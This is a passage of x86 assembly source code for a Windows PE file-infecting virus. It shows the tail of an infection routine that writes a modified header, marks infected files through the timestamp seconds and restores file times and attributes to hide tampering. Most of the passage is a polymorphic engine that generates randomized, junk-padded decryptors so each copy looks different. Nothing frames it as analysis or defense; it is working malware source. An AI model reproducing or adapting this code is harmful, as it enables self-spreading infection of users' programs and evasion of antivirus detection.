|
Call WriteFile
|
|
Or EAx,EAx
|
|
Jz Infect_F2$ ; Errors. . .
|
|
Cmp DWord Ptr ProcessedBytes,PEHeaderSize
|
|
Jne Infect_F2$
|
|
|
|
Mov Ax,NewSeconds ; Ok! Set infection flag.
|
|
Mov FT_Second,Ax
|
|
Lea EAx,FileLastWrite
|
|
Push EAx
|
|
Lea EAx,FT_Struc
|
|
Push EAx
|
|
Call SystemTimeToFileTime
|
|
|
|
Infect_F2$: Lea EAx,FileLastWrite ; Restore file Date/Time
|
|
Push EAx
|
|
Lea EAx,FileLastAccess
|
|
Push EAx
|
|
Lea EAx,FileCreation
|
|
Push EAx
|
|
Push DWord Ptr FileHandle
|
|
Call SetFileTime
|
|
|
|
Push DWord Ptr FileHandle ; Close our file. Ooh, Yes!
|
|
Call CloseHandle
|
|
|
|
Infect_F1$: Push DWord Ptr FileAttributes; Restore file attributes
|
|
Push DWord Ptr FileNamePtr
|
|
Call SetFileAttributesA
|
|
Infect_F0$: Push MemCommitSz/4h
|
|
Call FreeStackMem
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
; Service routines
|
|
;
|
|
AllocStackMem: Pop EAx ; Allocate memory in Stack
|
|
Pop ECx ; Corrupt EAx,ECx !!!
|
|
Push EBp ; Do not use call stack
|
|
AllocStack_1$: Push 0h ; before this call
|
|
Dec ECx
|
|
Jnz AllocStack_1$
|
|
Mov EBp,ESp
|
|
Push EAx
|
|
Ret
|
|
|
|
FreeStackMem: Pop EAx ; Free memory in Stack
|
|
Pop ECx ; Corrupt EAx,ECx !!!
|
|
FreeStack_1$: Pop DropDWord ; Do not use stack
|
|
Dec ECx ; memory after this call
|
|
Jnz FreeStack_1$
|
|
Pop EBp
|
|
Push EAx
|
|
Ret
|
|
DropDWord Dd ?
|
|
|
|
AlignDWordOnDWord:
|
|
Push EDx
|
|
Xor EDx,EDx ; Align EAx by EBx boundary
|
|
Push EAx
|
|
Div EBx
|
|
Pop EAx
|
|
Or EDx,EDx
|
|
Jz AlignDWord_0$
|
|
Sub EAx,EDx
|
|
Add EAx,EBx
|
|
AlignDWord_0$: Pop EDx
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
; My string converter ;-)
|
|
ConvertStr: Cld ; Convert some string
|
|
Call InitConverter ; in EDx with
|
|
Mov ESi,EDx ; possibly length in ECx
|
|
Lea EDi,SmallBuffer ; (Corrupt EDi,ESi,EAx)
|
|
Push ESi
|
|
Push EDi
|
|
Push ECx
|
|
Push EBx
|
|
Cmp ECx,-1h
|
|
Je Convert_Mode1$
|
|
|
|
Or ECx,ECx
|
|
Jz Convert_Done$
|
|
Convert_Mode0$: Call ProcessChar ; Counter mode
|
|
Dec ECx
|
|
Jnz Convert_Mode0$
|
|
Pop EBx
|
|
Pop ECx
|
|
Pop EDx
|
|
Pop ECx
|
|
Mov Byte Ptr Es:[EDi],0h
|
|
Sub EDi,EDx
|
|
Mov ECx,EDi
|
|
Ret
|
|
|
|
Convert_Mode1$: Call ProcessChar ; ASCIZ mode
|
|
Cmp Byte Ptr [ESi][-1],0h
|
|
Jne Convert_Mode1$
|
|
Pop EBx
|
|
Pop ECx
|
|
Pop EDx
|
|
Pop EAx
|
|
Ret
|
|
|
|
Convert_Done$: Pop EBx
|
|
Pop ECx
|
|
Pop EDi
|
|
Pop ESi
|
|
Mov Byte Ptr Es:[EDi],0h
|
|
Ret
|
|
|
|
ProcessChar: LodsB ; Process one char, empty
|
|
StosB ; strings are not allowed!!!
|
|
Cmp Al,'a'
|
|
Jb Process_1$ ; UpCase the source char
|
|
Cmp Al,'z'
|
|
Ja Process_1$
|
|
Sub Al,20h
|
|
Process_1$: Push ECx
|
|
Push EBx
|
|
Push EDx
|
|
Mov ECx,ConvertDataLen
|
|
Xor EBx,EBx ; Try the some variants
|
|
Process_Again$: Mov EDx,[EBx*4]ConvertVar
|
|
Mov Ah,[EDx]
|
|
Inc DWord Ptr [EBx*4]ConvertVar
|
|
Cmp Al,Ah ; Good char?
|
|
Jne Process_Bad$
|
|
Cmp Byte Ptr [EDx][1],0h ; Last char in variant?
|
|
Jne Process_Next$
|
|
|
|
Sub EDx,[EBx*8][ConvertData]
|
|
Sub EDi,EDx ; Make the replacing
|
|
Dec EDi
|
|
Push ESi
|
|
Mov ESi,[EBx*8+4][ConvertData]
|
|
Process_Do$: LodsB ; Transfer the real string
|
|
StosB ; converted by me ;-)
|
|
Cmp Al,0h
|
|
Jne Process_Do$
|
|
Dec EDi
|
|
Pop ESi
|
|
Push DWord Ptr [EBx*8][ConvertData]
|
|
Pop DWord Ptr [EBx*4]ConvertVar
|
|
Jmp Process_Ok$
|
|
|
|
Process_Bad$: Push DWord Ptr [EBx*8][ConvertData]
|
|
Pop DWord Ptr [EBx*4]ConvertVar
|
|
Process_Next$: Inc EBx ; Next variant
|
|
Dec ECx
|
|
Jnz Process_Again$
|
|
Process_Ok$: Pop EDx ; Char has been processed
|
|
Pop EBx
|
|
Pop ECx
|
|
Ret
|
|
|
|
InitConverter: Push EBx ; InitConverter routines
|
|
Push ECx
|
|
Mov ECx,ConvertDataLen
|
|
Xor EBx,EBx
|
|
InitConv_1$: Push DWord Ptr [EBx*8][ConvertData]
|
|
Pop DWord Ptr [EBx*4]ConvertVar
|
|
Inc EBx
|
|
Dec ECx
|
|
Jnz InitConv_1$
|
|
Pop ECx
|
|
Pop EBx
|
|
Ret
|
|
|
|
Transfer_Str: Cmp ECx,-1h ; More strict strings
|
|
Je Transfer_S_M$ ; moving routine
|
|
Or ECx,ECx
|
|
Jz Transfer_S_D$
|
|
Rep MovsB
|
|
Transfer_S_D$: Xor Al,Al
|
|
StosB
|
|
Ret
|
|
|
|
Transfer_S_M$: LodsB
|
|
StosB
|
|
Or Al,Al
|
|
Jnz Transfer_S_M$
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
; The PolyMorph code has the such structure:
|
|
; PushA
|
|
; Call Start
|
|
; ...
|
|
; Sem: Dd 1h
|
|
; ...
|
|
; Start: Pop BaseReg
|
|
; Xor SemReg,SemReg (And SemReg,0) (Mov SemReg,0)
|
|
; LockSem: Xchg [BaseReg][Sem],SemReg
|
|
; Or SemReg,SemReg (Test SemReg,SemReg) (And SemReg,SemReg)
|
|
; Jz LockSem
|
|
; Cmp SemReg,2h
|
|
; Je Done
|
|
; Add BaseReg,CodeStart
|
|
; Add [BaseReg][Border],BaseReg
|
|
; .LoadRegisters
|
|
; Again: .Decrypt
|
|
; Add Base,4h (Inc Base) 4 times
|
|
; Cmp Base,Border
|
|
; Jb Again
|
|
; Sub BaseReg,CodeStart+CodeSize
|
|
; Done: Mov [BaseReg][Sem],2h
|
|
; PopA
|
|
; CodeStart:
|
|
;
|
|
; All code mixed with trash. . . Prepare to understand!
|
|
|
|
GenPolyMorph: Push ESi
|
|
Push EDi
|
|
Push ECx
|
|
Call GetNoESpReg ; Choose the 2 base
|
|
Mov pBaseReg,Al ; registers
|
|
Mov Bl,Al ; Base
|
|
GenPolyM_R$: Call GetNoESpReg
|
|
Cmp Bl,Al
|
|
Je GenPolyM_R$
|
|
Mov pSemReg,Al ; and Semaphore
|
|
Mov Byte Ptr pEnableEncr,0h
|
|
Mov ECx,5h
|
|
Mov EBx,Offset GenNoRegCom
|
|
Call Enumer
|
|
Mov Al,60h ; PushA
|
|
StosB
|
|
Mov Ax,-1h
|
|
Mov EBx,Offset GenAnyCom
|
|
Call Enumer
|
|
Mov Al,0E8h ; Call $+...
|
|
StosB
|
|
Mov EAx,50h
|
|
Call Random
|
|
Add EAx,10h
|
|
Push EAx
|
|
StosD
|
|
Mov pBase,EDi
|
|
Mov ECx,EAx
|
|
GenPolyM_C$: Mov EAx,100h
|
|
Call Random
|
|
StosB
|
|
Dec ECx
|
|
Jnz GenPolyM_C$
|
|
Pop EAx
|
|
Sub EAx,4h
|
|
Call Random
|
|
Mov pSem,EAx
|
|
Add EAx,pBase ; SetUp semaphore
|
|
Mov DWord Ptr [EAx],1h
|
|
Mov Al,pBaseReg ; Pop BaseReg
|
|
Or Al,58h
|
|
StosB
|
|
Mov Ah,-1h
|
|
Mov Al,pBaseReg
|
|
Mov ECx,5h
|
|
Mov EBx,Offset GenAnyCom
|
|
Call Enumer
|
|
Mov EAx,2h ; Xor SemReg,SemReg
|
|
Call Random
|
|
Or Al,Al
|
|
Jz GenPolyM_X$
|
|
Mov Al,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Jz GenPolyM_XM$
|
|
Mov Al,81h ; (And)
|
|
StosB
|
|
Mov Al,pSemReg
|
|
Or Al,0E0h
|
|
StosB
|
|
Xor EAx,EAx
|
|
StosD
|
|
Jmp GenPolyM_XD$
|
|
GenPolyM_XM$: Mov Al,0B8h ; (Mov)
|
|
Or Al,pSemReg
|
|
StosB
|
|
Xor EAx,EAx
|
|
StosD
|
|
Jmp GenPolyM_XD$
|
|
GenPolyM_X$: Mov Al,2h ; (Xor)
|
|
Call Random
|
|
Add EAx,EAx
|
|
Or Al,31h
|
|
StosB
|
|
Mov Al,pSemReg
|
|
Shl Al,3h
|
|
Or Al,pSemReg
|
|
Or Al,0C0h
|
|
StosB
|
|
GenPolyM_XD$: Mov Al,pSemReg
|
|
Mov Ah,pBaseReg
|
|
Call Enumer
|
|
Mov pXchg,EDi
|
|
Mov Al,87h ; Xchg SemReg,[BaseReg][Sem]
|
|
StosB
|
|
Mov Al,pSemReg
|
|
Shl Al,3h
|
|
Or Al,80h
|
|
Or Al,pBaseReg
|
|
StosB
|
|
Mov EAx,pSem
|
|
StosD
|
|
Mov Al,pBaseReg
|
|
Mov Ah,pSemReg
|
|
Call Enumer
|
|
Mov EAx,4h ; Or SemReg,SemReg
|
|
Call Random
|
|
Jz GenPolyM_OC$
|
|
Mov Al,3h ; (And) (Test) (Or)
|
|
Call Random
|
|
Shl Al,3h
|
|
Mov Cl,Al
|
|
Mov EAx,092185h
|
|
Shr EAx,Cl
|
|
Cmp Al,85h
|
|
Je GenPolyM_O$
|
|
Push EAx
|
|
Mov EAx,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Pop EAx
|
|
Jz GenPolyM_O$
|
|
Or Al,2h
|
|
GenPolyM_O$: StosB
|
|
Mov Al,pSemReg
|
|
Shl Al,3h
|
|
Or Al,pSemReg
|
|
Or Al,0C0h
|
|
StosB
|
|
Jmp GenPolyM_OD$
|
|
GenPolyM_OC$: Mov Al,83h ; (Cmp)
|
|
StosB
|
|
Mov Al,pSemReg
|
|
Or Al,38h
|
|
Or Al,0C0h
|
|
StosB
|
|
Xor Al,Al
|
|
StosB
|
|
GenPolyM_OD$: Mov ECx,5h
|
|
Mov EBx,Offset GenNoFlagCom
|
|
Call Enumer
|
|
Mov Ax,840Fh ; Jz LockSem
|
|
StosW
|
|
Mov EAx,pXchg
|
|
Sub EAx,4h
|
|
Sub EAx,EDi
|
|
StosD
|
|
Mov Al,pBaseReg
|
|
Mov Ah,pSemReg
|
|
Mov EBx,Offset GenAnyCom
|
|
Call Enumer
|
|
Mov Al,83h ; Cmp SemReg,2h
|
|
StosB
|
|
Mov Al,pSemReg
|
|
Or Al,0F8h
|
|
StosB
|
|
Mov Al,2h
|
|
StosB
|
|
Mov EBx,Offset GenNoFlagCom
|
|
Call Enumer
|
|
Mov Ax,840Fh ; Jz Done
|
|
StosW
|
|
Mov pMov,EDi
|
|
StosD
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
Mov EBx,Offset GenAnyCom
|
|
Call Enumer
|
|
Mov Al,81h ; Add BaseReg,CodeStart
|
|
StosB
|
|
Mov Al,pBaseReg
|
|
Or Al,0C0h
|
|
StosB
|
|
Mov pBaseAdd,EDi
|
|
StosD
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
Call ENumer
|
|
Mov Al,1h ; Add [BaseReg][Brdr],BaseReg
|
|
StosB
|
|
Mov Al,pBaseReg
|
|
Shl Al,3h
|
|
Or Al,80h
|
|
Or Al,pBaseReg
|
|
StosB
|
|
Mov pAdd,EDi
|
|
StosD
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
Call Enumer
|
|
Mov Byte Ptr pEnableEncr,1h
|
|
Mov Al,pBaseReg ; Encryptor, Pop BaseReg
|
|
Or Al,58h
|
|
Call StoreByte
|
|
Mov Al,87h ; Encryptor,
|
|
Call StoreByte ; Xchg BaseReg,[ESp]
|
|
Mov Al,pBaseReg
|
|
Shl Al,3h
|
|
Or Al,4h
|
|
Call StoreByte
|
|
Mov Al,24h
|
|
Call StoreByte
|
|
Mov Al,68h ; Encryptor, Push EncrSize
|
|
Call StoreByte
|
|
Mov EAx,[ESp]
|
|
Sub EAx,4h
|
|
Call StoreDWord
|
|
Mov EDx,1h ; .LoadRegisters
|
|
Mov Cl,pBaseReg
|
|
Shl EDx,Cl
|
|
Or EDx,10h
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
GenPolyM_L$: Push EAx
|
|
Call GenMovCom
|
|
Mov EAx,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Pop EAx
|
|
Jz GenPolyM_L1$
|
|
Push EAx
|
|
Call GenNoRegCom
|
|
Pop EAx
|
|
GenPolyM_L1$: Cmp EDx,0FFh
|
|
Jne GenPolyM_L$
|
|
Mov ECx,5h
|
|
Mov EBx,Offset GenNoRegCom
|
|
Call Enumer
|
|
Mov Al,1h ; Encryptor, Border SetUp
|
|
Call StoreByte ; Add [ESp],BaseReg
|
|
Mov Al,pBaseReg
|
|
Shl Al,3h
|
|
Or Al,4h
|
|
Call StoreByte
|
|
Mov Al,24h
|
|
Call StoreByte
|
|
Mov pAgain,EDi
|
|
Mov pAgain_E,ESi
|
|
Mov EAx,40h ; 10h..50h commands
|
|
Call Random
|
|
Add EAx,10h
|
|
Mov ECx,EAx
|
|
GenPolyM_G0$: Mov EAx,3h ; .Decrypt
|
|
Call Random
|
|
Or Al,Al
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
Jnz GenPolyM_G1$
|
|
Call GenArCom
|
|
Jmp GenPolyM_G2$
|
|
GenPolyM_G1$: Call GenArMemCom
|
|
GenPolyM_G2$: Dec ECx
|
|
Jnz GenPolyM_G0$
|
|
Mov EAx,2h ; Add BaseReg,4h
|
|
Call Random
|
|
Or Al,Al
|
|
Jz GenPolyM_I2$
|
|
Mov Al,pBaseReg ; (Inc)
|
|
Or Al,40h
|
|
Mov ECx,4h
|
|
GenPolyM_I1$: StosB
|
|
Call StoreByte
|
|
Push EAx
|
|
Call GenNoRegCom
|
|
Pop EAx
|
|
Dec ECx
|
|
Jnz GenPolyM_I1$
|
|
Jmp GenPolyM_I3$
|
|
GenPolyM_I2$: Mov Al,83h ; (Add)
|
|
StosB
|
|
Call StoreByte
|
|
Mov Al,pBaseReg
|
|
Or Al,0C0h
|
|
StosB
|
|
Call StoreByte
|
|
Mov Al,4h
|
|
StosB
|
|
Call StoreByte
|
|
GenpolyM_I3$: Mov ECx,5h
|
|
Mov EBx,Offset GenArCom
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
Call Enumer
|
|
Mov Al,81h ; Cmp BaseReg,Limit
|
|
StosB
|
|
Mov Al,pBaseReg
|
|
Or Al,0F8h
|
|
StosB
|
|
Mov EAx,EDi
|
|
Sub EAx,pBase
|
|
Mov EBx,pAdd
|
|
Mov [EBx],EAx ; 1pass Complete Add command
|
|
Mov EAx,[ESp]
|
|
Sub EAx,4h
|
|
StosD
|
|
Mov Al,3Bh ; Encryptor, Border check
|
|
Call StoreByte ; Cmp BaseReg,[ESp]
|
|
Mov Al,pBaseReg
|
|
Shl Al,3h
|
|
Or Al,4h
|
|
Call StoreByte
|
|
Mov Al,24h
|
|
Call StoreByte
|
|
Mov EBx,Offset GenNoFlagCom
|
|
Call Enumer
|
|
Mov Ax,820Fh
|
|
StosW
|
|
Call StoreWord
|
|
Mov EAx,pAgain ; Complete Jmp Again commands
|
|
Sub EAx,EDi
|
|
Sub EAx,4h
|
|
StosD
|
|
Mov EAx,pAgain_E
|
|
Sub EAx,ESi
|
|
Sub EAx,4h
|
|
Call StoreDWord
|
|
Mov Al,58h ; Complete encryptor
|
|
Call StoreByte
|
|
Mov Al,0C3h
|
|
Call StoreByte
|
|
Mov Byte Ptr pEnableEncr,0h
|
|
Mov EBx,Offset GenAnyCom
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
Call Enumer
|
|
Mov Al,81h ; Sub BaseReg,CodeSize
|
|
StosB
|
|
Mov Al,pBaseReg
|
|
Or Al,0E8h
|
|
StosB
|
|
Mov pBaseSub,EDi
|
|
StosD
|
|
Mov Al,pBaseReg
|
|
Mov Ah,-1h
|
|
Call Enumer
|
|
Mov Al,0C7h ; Mov [BaseReg][Sem],2h
|
|
StosB
|
|
Mov Al,pBaseReg
|
|
Or Al,80h
|
|
StosB
|
|
Mov EAx,pSem
|
|
StosD
|
|
Mov EAx,2h
|
|
StosD
|
|
Mov EAx,EDi ; Complete Jmp Done command
|
|
Sub EAx,pMov
|
|
Sub EAx,4h
|
|
Mov EBx,pMov
|
|
Mov [EBx],EAx
|
|
Mov EBx,Offset GenAnyCom
|
|
Mov Ax,-1h
|
|
Call Enumer
|
|
Mov Al,61h ; PopA
|
|
StosB
|
|
Mov EBx,Offset GenNoRegCom
|
|
Call Enumer
|
|
Mov EAx,EDi ; Complete Base To Body SetUp
|
|
Sub EAx,pBase
|
|
Mov EBx,pBaseAdd
|
|
Mov [EBx],EAx
|
|
Mov EBx,pAdd ; 2pass Complete Add command
|
|
Sub [EBx],EAx
|
|
Mov EBx,[ESp] ; Backward Body to Base SetUp
|
|
Dec EBx
|
|
And Bl,0FCh ; Rounded by 4h
|
|
Add EAx,EBx
|
|
Mov EBx,pBaseSub
|
|
Mov [EBx],EAx
|
|
Pop ECx
|
|
Mov EDx,EDi ; All done successfully!
|
|
Sub EDx,[ESp] ; EDx - decryptor size
|
|
Mov EBx,ESi
|
|
Sub EBx,[ESp][4] ; EBx - encryptor size
|
|
Add ESp,8h
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
GenArMemCom: Push EAx ; Some command that
|
|
Mov EAx,2h ; change memory by
|
|
Call Random ; base in EAx (Al)
|
|
Or Al,Al
|
|
Jz GenArMem_Imm$
|
|
Mov Al,2h ; Add; Sub (Reg)
|
|
Call Random
|
|
Or Al,Al
|
|
Jz GenArMem_R_1$
|
|
Mov Al,28h
|
|
GenArMem_R_1$: Or Al,1h
|
|
StosB
|
|
Xor Al,28h
|
|
Call StoreByte
|
|
Pop EAx
|
|
Push EBx
|
|
Mov EBx,EAx
|
|
GenArMem_R_2$: Call GetNoESpReg
|
|
Cmp Al,Bl
|
|
Je GenArMem_R_2$
|
|
Cmp Al,Bh
|
|
Je GenArMem_R_2$
|
|
Shl Al,3h
|
|
Or Al,Bl
|
|
Pop EBx
|
|
Mov Ah,Al
|
|
Call GenArMem_Comp$
|
|
Ret
|
|
|
|
GenArMem_Imm$: Mov Al,2h ; Add; Sub (Imm)
|
|
Call Random
|
|
Add Al,Al
|
|
Or Al,81h
|
|
StosB
|
|
Call StoreByte
|
|
Xchg EAx,[ESp]
|
|
Push EAx
|
|
Mov Al,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Pop EAx
|
|
Jz GenArmem_I_1$
|
|
Or Al,28h
|
|
GenArMem_I_1$: Mov Ah,Al
|
|
Xor Ah,28h
|
|
Call GenArMem_Comp$
|
|
Pop EAx
|
|
Cmp Al,83h
|
|
Jne GenArMem_I_2$
|
|
Mov Ax,100h ; Byte operand
|
|
Call Random
|
|
StosB
|
|
Call StoreByte
|
|
Ret
|
|
GenArMem_I_2$: Mov EAx,RandSeed ; DWord operand
|
|
StosD
|
|
Call StoreDWord
|
|
Ret
|
|
|
|
GenArMem_Comp$: Push EAx ; Compile addressing
|
|
And Al,7h ; modes (Corrupt EAx)
|
|
Cmp Al,4h
|
|
Je GenArMem_C_1$
|
|
Cmp Al,5h
|
|
Je GenArMem_C_2$
|
|
Pop EAx
|
|
StosB
|
|
GenArMem_C0$: Mov Al,Ah
|
|
Push EAx
|
|
And Al,7h
|
|
Cmp Al,4h
|
|
Je GenArMem_C_3$
|
|
Cmp Al,5h
|
|
Je GenArMem_C_4$
|
|
Pop EAx
|
|
Call StoreByte
|
|
Ret
|
|
|
|
GenArMem_C_1$: Pop EAx ; [ESp]
|
|
StosB
|
|
Mov Al,24h
|
|
StosB
|
|
Jmp GenArMem_C0$
|
|
|
|
GenArMem_C_2$: Pop EAx ; [EBp]
|
|
Or Al,40h
|
|
And Al,0FEh
|
|
StosB
|
|
Mov Al,25h
|
|
StosB
|
|
Mov Al,0h
|
|
StosB
|
|
Jmp GenArMem_C0$
|
|
|
|
GenArMem_C_3$: Pop EAx ; [ESp]
|
|
Call StoreByte
|
|
Mov Al,24h
|
|
Call StoreByte
|
|
Ret
|
|
|
|
GenArMem_C_4$: Pop EAx ; [EBp]
|
|
Or Al,40h
|
|
And Al,0FEh
|
|
Call StoreByte
|
|
Mov Al,25h
|
|
Call StoreByte
|
|
Mov Al,0h
|
|
Call StoreByte
|
|
Ret
|
|
|
|
|
|
; ---------------------------------------------------------
|
|
GenAnyCom: Push EAx
|
|
Push EBx ; Some command that
|
|
Push EDx ; changes registers
|
|
Mov EBx,EAx ; but don't change some
|
|
GenAnyCom_0_1$: Call GetNoESpReg ; registers by # in Ax (Ah,Al)
|
|
Cmp Al,Bl ; (Corrupt EAx)
|
|
Je GenAnyCom_0_1$
|
|
Cmp Al,Bh
|
|
Je GenAnyCom_0_1$
|
|
Mov Dl,Al
|
|
GenAnyCom_0_2$: Call GetNoESpReg
|
|
Cmp Al,Bl
|
|
Je GenAnyCom_0_2$
|
|
Cmp Al,Bh
|
|
Je GenAnyCom_0_2$
|
|
Mov Ah,Dl
|
|
Pop EDx
|
|
Pop EBx
|
|
Push EAx
|
|
Mov EAx,0Ch
|
|
Call Random
|
|
Or EAx,EAx
|
|
Jnz GenAnyCom_1$ ; ">0"
|
|
Pop EAx ; Ar command
|
|
Pop EAx
|
|
Jmp GenArCom
|
|
|
|
GenAnyCom_1$: Dec EAx
|
|
Jnz GenAnyCom_2$ ; ">1"
|
|
Pop EAx ; Mov/Lea command
|
|
Pop EAx
|
|
Push EDx
|
|
Call GenMovCom
|
|
Pop EDx
|
|
Ret
|
|
|
|
GenAnyCom_2$: Dec EAx
|
|
Jnz GenAnyCom_3$ ; ">2"
|
|
Pop EAx ; Cbw; Cwde
|
|
Pop EAx
|
|
Or Al,Al
|
|
Jz GenAnyCom
|
|
Or Ah,Ah
|
|
Jz GenAnyCom
|
|
Mov EAx,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Jz GenAnyCom_2_1$
|
|
Mov Al,66h
|
|
StosB
|
|
GenAnyCom_2_1$: Mov Al,98h
|
|
StosB
|
|
Ret
|
|
|
|
GenAnyCom_3$: Dec EAx
|
|
Jnz GenAnyCom_4$ ; ">3"
|
|
Pop EAx ; Cwd; Cdq
|
|
Pop EAx
|
|
Or Al,Al
|
|
Jz GenAnyCom
|
|
Or Ah,Ah
|
|
Jz GenAnyCom
|
|
Cmp Al,2h
|
|
Je GenAnyCom
|
|
Cmp Ah,2h
|
|
Je GenAnyCom
|
|
Mov EAx,2h
|
|
Call Random
|
|
Or Al,Al
|
|
Jz GenAnyCom_3_1$
|
|
Mov Al,66h
|
|
StosB
|
|
GenAnyCom_3_1$: Mov Al,99h
|
|
StosB
|
|
Ret
|
|
|
|
GenAnyCom_4$: Dec EAx
|
|
Jnz GenAnyCom_5$ ; ">4"
|
|
Pop EAx ; Aas; Aaa; Daa; Das
|
|
Pop EAx
|
|
Or Al,Al
|
|
Jz GenAnyCom
|
|
Or Ah,Ah
|
|
Jz GenAnyCom
|
|
Mov EAx,4h
|
|
Call Random
|
|
Shl Al,3h
|
|
Or Al,27h
|
|
StosB
|
|
Ret
|
|
|
|
GenAnyCom_5$: Dec EAx
|
|
Jnz GenAnyCom_6$ ; ">5"
|
|
Pop EAx ; Aad; Aam
|
|
Pop EAx ; operand must be <>0
|
|
Or Al,Al
|
|
Jz GenAnyCom
|
|
Or Ah,Ah
|
|
Jz GenAnyCom
|
|
Mov EAx,2h
|
|
Call Random
|
|
Or Al,0D4h
|
|
StosB
|
|
Mov Al,0FFh
|
|
Call Random
|
|
Inc Al
|
|
StosB
|
|
Ret
|
|
|
|
GenAnyCom_6$: Dec EAx
|
|
Jnz GenAnyCom_7$ ; ">6"
|
|
Pop EAx ; Loop $+2
|
|
Pop EAx
|
|
Cmp Al,1h
|
|
Je GenAnyCom
|
|
Cmp Ah,1h
|
|
Je GenAnyCom
|
|
Mov Ax,0E2h
|
|
StosW
|
|
Ret
|
|
|
|
GenAnyCom_7$: Dec EAx
|
|
Jnz GenAnyCom_8$ ; ">7"
|
|
Mov Al,0D1h ; Rol; Shl;
|
|
StosB ; Ror; Shr; Sar;
|
|
Pop EAx ; Rcl; Rcr
|
|
Push EBx
|
|
Mov EBx,EAx
|
|
GenAnyCom_7_0$: Mov EAx,8h
|
|
Call Random
|
|
Cmp Al,6h
|
|
Je GenAnyCom_7_0$
|
|
Shl Al,3h
|
|
Or Al,Bl
|
|
Or Al,0C0h
|
|
StosB
|
|
Pop EBx
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenAnyCom_8$: Dec EAx
|
|
Jnz GenAnyCom_9$ ; ">8"
|
|
Mov Al,89h ; Mov Reg1,Reg2
|
|
StosB
|
|
Pop EAx
|
|
Shl Al,3h
|
|
Or Al,Ah
|
|
Or Al,0C0h
|
|
StosB
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenAnyCom_9$: Dec EAx
|
|
Jnz GenAnyCom_10$ ; ">9"
|
|
Mov Al,4h ; Adc; Sbb; Or; And
|
|
Call Random
|
|
Inc Al
|
|
Shl Al,3h
|
|
Or Al,1h
|
|
Push EBx
|
|
Mov EBx,EAx
|
|
Mov Al,2h
|
|
Call Random
|
|
Shl Al,1h
|
|
Or Al,Bl
|
|
Pop EBx
|
|
StosB
|
|
Pop EAx
|
|
Shl Al,3h
|
|
Or Al,Ah
|
|
Or Al,0C0h
|
|
StosB
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenAnyCom_10$: Dec EAx
|
|
Jnz GenAnyCom_11$ ; ">10"
|
|
Mov Al,2h ; Adc; Sbb; Or; And [Imm]
|
|
Call Random
|
|
Or Al,Al
|
|
Pop EAx
|
|
PushF
|
|
Push EAx
|
|
Jz GenAnyCom_10a$
|
|
Mov Al,66h
|
|
StosB
|
|
GenAnyCom_10a$: Mov EAx,2h
|
|
Call Random
|
|
Shl Al,1h
|
|
Or Al,81h
|
|
StosB
|
|
Xchg EAx,[ESp]
|
|
Push EBx
|
|
Mov EBx,EAx
|
|
Mov EAx,4h
|
|
Call Random
|
|
Inc EAx
|
|
Shl Al,3h
|
|
Or Al,0C0h
|
|
Or Al,Bl
|
|
Pop EBx
|
|
StosB
|
|
Pop EAx
|
|
Cmp Al,83h
|
|
Je GenAnyCom_10b$
|
|
Mov Ax,Word Ptr RandSeed ; Imm16
|
|
StosW
|
|
PopF
|
|
Jnz GenAnyCom_10c$
|
|
Mov Ax,Word Ptr RandSeed+2 ; Imm32
|
|
StosW
|
|
GenAnyCom_10c$: Pop EAx
|
|
Ret
|
|
|
|
GenAnyCom_10b$: Mov EAx,100h ; Imm8
|
|
Call Random
|
|
StosB
|
|
PopF
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenAnyCom_11$: Pop EAx
|
|
Or Al,50h ; Push Reg1 / Pop Reg2
|
|
StosB
|
|
Push EAx ; Seria of commands
|
|
Mov EAx,5h
|
|
Call Random
|
|
Push ECx
|
|
Mov ECx,EAx
|
|
Or ECx,ECx
|
|
Jz GenAnyCm_11_1$
|
|
GenAnyCm_11_1$: Mov EAx,[ESp][2*4]
|
|
Call GenAnyCom
|
|
Dec ECx
|
|
Jnz GenAnyCm_11_2$
|
|
GenAnyCm_11_2$: Pop ECx
|
|
Pop EAx
|
|
Mov Al,Ah
|
|
Or Al,58h
|
|
StosB
|
|
Pop EAx
|
|
Ret
|
|
|
|
; ---------------------------------------------------------
|
|
GenArCom: Push EAx
|
|
Push EBx ; Some command that pretty
|
|
Push EDx ; changes registers
|
|
Mov EBx,EAx ; but don't change some
|
|
GenArCom_0_1$: Call GetNoESpReg ; registers by # in Ax (Ah,Al)
|
|
Cmp Al,Bl ; (Corrupt EAx)
|
|
Je GenArCom_0_1$
|
|
Cmp Al,Bh
|
|
Je GenArCom_0_1$
|
|
Mov Dl,Al
|
|
GenArCom_0_2$: Call GetNoESpReg
|
|
Cmp Al,Bl
|
|
Je GenArCom_0_2$
|
|
Cmp Al,Bh
|
|
Je GenArCom_0_2$
|
|
Shl Al,3h
|
|
Or Al,Dl
|
|
Or Al,0C0h
|
|
Pop EDx
|
|
Pop EBx
|
|
Push EAx
|
|
Mov EAx,7h
|
|
Call Random
|
|
Or EAx,EAx
|
|
Jnz GenArCom_1$ ; ">0"
|
|
Pop EAx ; NoReg command
|
|
Pop EAx
|
|
Jmp GenNoRegCom
|
|
|
|
GenArCom_1$: Dec EAx
|
|
Jnz GenArCom_2$ ; ">1"
|
|
Mov Al,87h ; Xchg Reg1,Reg2
|
|
StosB
|
|
Call StoreByte
|
|
Pop EAx
|
|
StosB
|
|
Call StoreByte
|
|
Pop EAx
|
|
Ret
|
|
|
|
GenArCom_2$: Dec EAx
|
|
Jnz GenArCom_3$ ; ">2"
|
|
Pop EAx ; Push Reg1; Push Reg2
|
|
Mov Ah,Al ; Pop Reg2; Pop Reg1
|
|
And Al,7h
|
|
Or Al,50h
|
|
